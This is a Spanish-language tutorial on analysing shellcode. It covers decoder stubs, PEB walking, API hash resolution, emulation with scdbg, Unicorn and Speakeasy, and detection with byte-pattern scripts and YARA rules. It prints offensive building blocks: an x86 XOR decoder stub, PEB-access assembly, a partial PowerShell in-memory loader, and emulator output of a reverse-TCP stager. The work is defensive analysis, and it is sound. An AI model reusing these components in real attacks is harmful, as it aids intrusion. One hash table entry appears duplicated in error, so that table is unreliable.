Analisis de Shellcode: Emulacion, Decodificacion y Deteccion
Analisis de shellcode en malware. Tipos de shellcode, decodificacion de stubs, emulacion con scdbg y Unicorn Engine, patrones comunes de shellcode en exploits y malware, y tecnicas de deteccion.
Shellcode: codigo sin contexto
El shellcode es la forma mas primitiva y poderosa de payload. No es un ejecutable con cabeceras y secciones: es una secuencia raw de instrucciones de maquina que puede ejecutarse desde cualquier posicion de memoria. No tiene imports, no tiene entry point definido por el sistema operativo, y no depende de un loader.
Esta independencia lo hace perfecto para exploits (inyectar en buffers vulnerables), para malware (inyectar en procesos remotos) y para evasion (no tiene la estructura de un PE que los antivirus puedan analizar).
Analizar shellcode requiere tecnicas diferentes a analizar un PE o ELF: no hay cabeceras que parsear, no hay imports que listar, y las herramientas estandar de analisis estatico no funcionan directamente.
Tipos de shellcode
| Tipo | Descripcion | Tamano tipico |
|---|---|---|
| Download and execute | Descarga un archivo y lo ejecuta | 200-500 bytes |
| Reverse shell | Abre conexion TCP inversa al atacante | 300-600 bytes |
| Bind shell | Abre un puerto y espera conexiones | 300-600 bytes |
| Staged | Fase 1 pequena que descarga fase 2 (mas grande) | 50-100 bytes (stager) |
| Egg hunter | Busca en memoria un marker para encontrar el payload principal | 30-60 bytes |
| Meterpreter stager | Stager de Metasploit que carga Meterpreter en memoria | 200-400 bytes |
| Custom | Shellcode propio del atacante | Variable |
Estructura tipica del shellcode
Shellcode simple (sin cifrar)
[PEB access] ; Obtener base de kernel32.dll via PEB
[API resolution] ; Resolver funciones por hash (GetProcAddress equiv)
[Payload logic] ; Codigo funcional (download, shell, etc.)
Shellcode con decoder stub
[NOP sled] ; Opcional, 0x90 bytes para tolerancia de alineacion
[Decoder stub] ; Descifra el payload cifrado
[Encoded payload] ; Payload real cifrado (XOR, ADD, etc.)
El decoder stub es la parte mas reconocible del shellcode:
; Decoder stub XOR tipico (x86)
jmp short end_of_payload ; salta al final
decode:
pop esi ; ESI = direccion del payload cifrado
xor ecx, ecx ;
mov cl, PAYLOAD_LEN ; tamano del payload
loop_decode:
xor byte [esi], 0xAA ; descifra un byte con clave 0xAA
inc esi ;
loop loop_decode ;
jmp short decoded_payload ; salta al payload descifrado
end_of_payload:
call decode ; CALL pone la direccion siguiente en stack
decoded_payload:
; ... payload cifrado (XOR 0xAA) aqui ...
La tecnica JMP/CALL/POP es clasica: el JMP salta al CALL, el CALL pone la direccion del payload en el stack, y el POP recupera esa direccion. Esto permite que el shellcode conozca su propia posicion en memoria (position-independent).
Resolucion de APIs en shellcode
El shellcode no tiene Import Address Table. Necesita resolver las direcciones de las APIs de Windows por si mismo:
Acceso al PEB (Process Environment Block)
; x86: acceso al PEB
mov eax, fs:[0x30] ; PEB
mov eax, [eax + 0x0C] ; PEB->Ldr (PEB_LDR_DATA)
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
; Primer modulo = ejecutable actual
; Segundo modulo = ntdll.dll
; Tercer modulo = kernel32.dll
mov eax, [eax] ; siguiente entrada
mov eax, [eax] ; siguiente entrada (kernel32)
mov eax, [eax + 0x10] ; DllBase de kernel32.dll
; x64: acceso al PEB
mov rax, gs:[0x60] ; PEB en x64
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x20] ; InMemoryOrderModuleList
Resolucion por hash de nombre
Una vez con la base de kernel32.dll, el shellcode itera sobre la Export Directory para encontrar funciones:
; Pseudocodigo: encontrar funcion por hash
for each export_name in kernel32.exports:
calculated_hash = hash_function(export_name)
if calculated_hash == target_hash:
return export_address
Hashes comunes (algoritmo ROR13, usado por Metasploit):
| Hash | Funcion |
|---|---|
| 0x0726774C | LoadLibraryA |
| 0x7802F749 | GetProcAddress |
| 0xE8AFE98 | WinExec |
| 0x0E8AFE98 | ExitProcess |
| 0x006B8029 | WSAStartup |
| 0xE0DF0FEA | WSASocketA |
| 0x6174A599 | connect |
| 0x614D6E75 | recv |
| 0x56A2B5F0 | exit |
Analisis con scdbg
scdbg (shellcode debugger) emula la ejecucion del shellcode, hookeando las APIs de Windows:
# Analisis basico
scdbg /f shellcode.bin
# Con mas detalle
scdbg /f shellcode.bin /v
# Limitar instrucciones
scdbg /f shellcode.bin /s 100000
# Buscar en archivo mayor (eg. un documento con exploit)
scdbg /f document.doc /findsc
# Dump del shellcode decodificado
scdbg /f shellcode.bin /d
# Salida tipica:
# 4010a8 LoadLibraryA(ws2_32)
# 4010ba WSAStartup(190)
# 4010d1 WSASocket(af=2, type=1, protocol=0)
# 4010e8 connect(h=68, host: 192.168.1.100, port: 4444)
# 401105 recv(h=68, buf=12fc68, len=4096)
# 401125 VirtualAlloc(base=0, sz=4096, flags=1000, prot=40)
# 40113c recv(h=68, buf=10000, len=4096)
# 401165 Execution transferred to 0x10000
Este output revela que el shellcode:
- Carga ws2_32.dll (networking).
- Crea un socket TCP.
- Conecta a 192.168.1.100:4444.
- Recibe datos (payload de segunda fase).
- Reserva memoria ejecutable.
- Ejecuta el payload descargado.
Es un stager clasico de Metasploit reverse_tcp.
Emulacion con Unicorn Engine
Para analisis mas controlado, Unicorn Engine permite emular CPU sin un sistema operativo:
from unicorn import Uc, UC_ARCH_X86, UC_MODE_32
from unicorn.x86_const import (
UC_X86_REG_EAX, UC_X86_REG_EBX,
UC_X86_REG_ECX, UC_X86_REG_ESP,
UC_X86_REG_EIP
)
# Leer shellcode
with open("shellcode.bin", "rb") as f:
shellcode = f.read()
# Crear emulador x86-32
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# Mapear memoria
BASE = 0x400000
STACK = 0x500000
mu.mem_map(BASE, 0x100000) # Codigo
mu.mem_map(STACK, 0x100000) # Stack
mu.mem_write(BASE, shellcode)
mu.reg_write(UC_X86_REG_ESP, STACK + 0x80000)
# Hook para interceptar instrucciones
instruction_count = 0
def hook_code(uc, address, size, user_data):
global instruction_count
instruction_count += 1
if instruction_count > 10000:
uc.emu_stop()
mu.hook_add(1, hook_code) # UC_HOOK_CODE = 1
# Emular
try:
mu.emu_start(BASE, BASE + len(shellcode), timeout=5000000)
except Exception as e:
print("Emulation stopped:", str(e))
# Leer memoria modificada (shellcode decodificado)
decoded = mu.mem_read(BASE, len(shellcode))
print("Decoded bytes:", bytes(decoded[:50]).hex())
Unicorn con hooks de memoria
def hook_mem_access(uc, access, address, size, value, user_data):
"""Hook para detectar acceso al PEB"""
if access == 16: # UC_MEM_READ
if address == 0x7FFE0030: # Posible acceso PEB
print("PEB access at EIP:", hex(uc.reg_read(UC_X86_REG_EIP)))
elif access == 17: # UC_MEM_WRITE
print(
"Write:", hex(value),
"to:", hex(address),
"at EIP:", hex(uc.reg_read(UC_X86_REG_EIP))
)
# Simular PEB y kernel32
PEB_ADDR = 0x7FFE0000
mu.mem_map(PEB_ADDR, 0x1000)
# Configurar PEB con datos simulados...
Patrones comunes de deteccion
NOP Sled
Secuencia de instrucciones NOP (0x90) o equivalentes antes del shellcode. Aumenta la probabilidad de acertar en el entry point cuando la direccion exacta es imprecisa:
# Buscar NOP sleds en un archivo
python3 -c "
data = open('sample.bin', 'rb').read()
nop_count = 0
for i, b in enumerate(data):
if b == 0x90:
nop_count += 1
if nop_count >= 20:
print('NOP sled at offset', hex(i - nop_count + 1), 'length', nop_count)
else:
nop_count = 0
"
Decoder stubs
Buscar patrones de decoder:
EB xx 5E: JMP short + POP ESI (JMP/CALL/POP)E8 FF FF FF FF C0: CALL + INC EAX (variante de auto-referencia)31 C9 B1 xx 80 34: XOR ECX,ECX + MOV CL + XOR [ESI] (decoder loop)
Acceso al PEB
# Buscar patrones de acceso al PEB en x86
# fs:[0x30] = 64 A1 30 00 00 00
# gs:[0x60] = 65 48 8B 04 25 60 00 00 00
python3 -c "
data = open('sample.bin', 'rb').read()
# PEB access x86
peb_x86 = bytes([0x64, 0xA1, 0x30, 0x00, 0x00, 0x00])
pos = data.find(peb_x86)
if pos >= 0:
print('PEB access (x86) at offset', hex(pos))
# PEB via mov eax, fs:[30h]
peb_x86_v2 = bytes([0x64, 0x8B, 0x15, 0x30, 0x00, 0x00, 0x00])
pos = data.find(peb_x86_v2)
if pos >= 0:
print('PEB access v2 (x86) at offset', hex(pos))
"
Hash constants
Buscar constantes de hashing conocidas:
HASH_CONSTANTS = dict()
HASH_CONSTANTS[0x5381] = "djb2 init"
HASH_CONSTANTS[0x1505] = "djb2 init (alt)"
HASH_CONSTANTS[0xEDB88320] = "CRC32 polynomial"
HASH_CONSTANTS[0x0D] = "ROR13 rotation"
import struct
def find_hash_constants(filepath):
with open(filepath, "rb") as f:
data = f.read()
for offset in range(len(data) - 3):
dword = struct.unpack_from("<I", data, offset)[0]
if dword in HASH_CONSTANTS:
print(
"Found", HASH_CONSTANTS[dword],
"at offset", hex(offset)
)
Shellcode en documentos Office
Los exploits para Office (CVE-2017-11882, CVE-2017-0199, etc.) embeben shellcode dentro de documentos:
# Extraer shellcode de documentos Office con olevba
olevba document.doc
# rtfdump para documentos RTF
rtfdump.py document.rtf
# Buscar shellcode en OLE streams
oledump.py document.doc
# Extraer y analizar con scdbg
oledump.py -s 3 -d document.doc > extracted.bin
scdbg /f extracted.bin /findsc
Shellcode en PowerShell
Muchos ataques usan PowerShell para ejecutar shellcode en memoria:
# Patron tipico (obfuscado en malware real)
$buf = [byte[]]@(0xfc,0xe8,0x82,0x00,0x00,0x00,...)
$ptr = [Runtime.InteropServices.Marshal]::AllocHGlobal($buf.Length)
[Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, $buf.Length)
# Crear thread en la memoria asignada
Para analizar: extraer el array de bytes, guardarlo como archivo binario y analizarlo con scdbg.
Herramientas especializadas
| Herramienta | Funcion |
|---|---|
| scdbg | Emulacion de shellcode con hooks de API |
| Unicorn Engine | Emulacion de CPU programable |
| Speakeasy (FireEye) | Emulador de Windows para shellcode y PE |
| jmp2it | Ejecuta shellcode en un proceso controlado |
| shellcode2exe | Convierte shellcode a PE para analizar en debugger |
| blobrunner | Ejecuta shellcode en un proceso debuggeable |
| msfvenom | Genera shellcode (para reconocer patrones) |
| CyberChef | Decodificacion de shellcode cifrado (XOR, base64) |
Convertir shellcode a PE para debugging
# Con shellcode2exe (convierte a PE ejecutable)
shellcode2exe shellcode.bin output.exe
# Abrir output.exe en x64dbg para debugging paso a paso
Analisis con Speakeasy
Speakeasy de Mandiant emula un entorno Windows completo para shellcode:
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode(
"shellcode.bin",
arch="x86"
)
se.run_shellcode(sc_addr)
# Speakeasy reporta todas las API calls:
# kernel32.LoadLibraryA("ws2_32.dll")
# ws2_32.WSASocketA(AF_INET, SOCK_STREAM, 0)
# ws2_32.connect(socket, 192.168.1.100:4444)
YARA rules para deteccion de shellcode
rule shellcode_peb_access
{
meta:
description = "Detects PEB access patterns common in shellcode"
author = "MalwareIntel Research"
strings:
$peb_x86_1 = { 64 A1 30 00 00 00 }
$peb_x86_2 = { 64 8B (0? | 1? | 2? | 3?) 30 00 00 00 }
$peb_x64 = { 65 48 8B (04 | 0C | 14 | 1C) 25 60 00 00 00 }
condition:
any of ($peb_*)
}
rule shellcode_decoder_stub
{
meta:
description = "Detects common shellcode decoder stubs"
strings:
$jmp_call_pop = { EB ?? 5? (31 C9 | 33 C9) B1 }
$call_pop = { E8 FF FF FF FF (C0 | C3) 5? }
$xor_loop = { 80 (34 | 74) ?? ?? (4? | E2) }
condition:
any of them
}
Conclusion
El shellcode es la forma mas cruda y poderosa de payload: codigo puro sin las estructuras que las herramientas de seguridad esperan encontrar. Su analisis requiere un enfoque diferente: emulacion con scdbg para obtener resultados rapidos, Unicorn Engine para control granular, y reconocimiento de patrones (PEB access, decoder stubs, hash constants) para deteccion. Dominar el analisis de shellcode es fundamental para entender exploits, payloads de frameworks como Metasploit y Cobalt Strike, y las fases iniciales de ataques sofisticados.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Import Address Table: APIs Sospechosas y Resolucion Dinamica
Formato PE de Windows: Estructura Completa del Ejecutable
Tecnicas Anti-Analisis: Anti-Debug, Anti-VM y Anti-Sandbox
Ofuscacion de Codigo: Tecnicas y Estrategias de Deobfuscacion
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.